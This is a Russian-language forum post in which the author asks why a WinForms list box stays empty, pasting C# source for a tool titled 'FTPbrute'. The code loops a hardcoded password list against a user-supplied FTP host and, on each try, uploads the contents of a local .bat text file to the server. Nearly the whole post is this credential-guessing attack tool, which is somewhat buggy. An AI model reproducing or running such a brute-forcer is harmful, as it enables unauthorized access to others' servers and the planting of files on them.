код гавнокод это обсуждению не подлежит писалось наскоро и 100500 раз переносилось в целях отладки всё будет оптимизиравано и сделано по фэн шую(по ооп'у точнее ) но сут ь проблемы в другом после всех этих действий поле listBox1 пустое тоже самое с ричбоксом и с мессмоксом PHP: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net; using System.IO; namespace WindowsFormsApplication2 { public partial class Form1 : Form { public Form1() { InitializeComponent(); listBox1.Text += "ololo"; //MessageBox.Show(textBox1.Text); //this.Text = "FTPbrute (c)DJ100500 AKA J-PROF"; } public void Textedit(string txt) { listBox1.Text += txt; } private void button1_Click(object sender, EventArgs e) { string host = textBox2.Text; object[] split = host.Split(new Char[] { ':', '.' }); listBox1.Text += "ololo"; object p = textBox4.Text; string login = textBox1.Text; src_(login, host, p); } public string[] pass = { "dj100500hackyou", "dj100500", "1234", "123456", "pass", "dj100500hackyou", "passwd", "qwerty", "dsdsadadaw" }; public string login = null; public string host = null; public string port = "21"; public void Brute() { for (var i = 0; i < pass.Length; i++) { if (brute(login, pass[i], i, host,port)) { break; } } } public bool brute(string login, string pass, int i, string host, string port) { listBox1.Text += "ololo"; FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test1.txt"); FtpWebResponse response = null; try { request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(login, pass); StreamReader sourceStream = new StreamReader(@"D:\21.bat.txt"); byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd()); sourceStream.Close(); request.ContentLength = fileContents.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(fileContents, 0, fileContents.Length); response = (FtpWebResponse)request.GetResponse(); requestStream.Close(); return true; } catch (Exception e) { listBox1.Text += e.Message; } finally { if (response != null) response.Close(); } return false; } public void src_(string login,string host,object p) { this.login = login; this.host = host; brute(this.login, pass[2], 1, this.host, "21"); /* if (p is int) { if ((int)p > 0 && (int)p < 64000) port = (string)p; } else { MessageBox.Show("порт был неверно задан поэтому был установлен в значение 22"); }*/ Brute(); } } }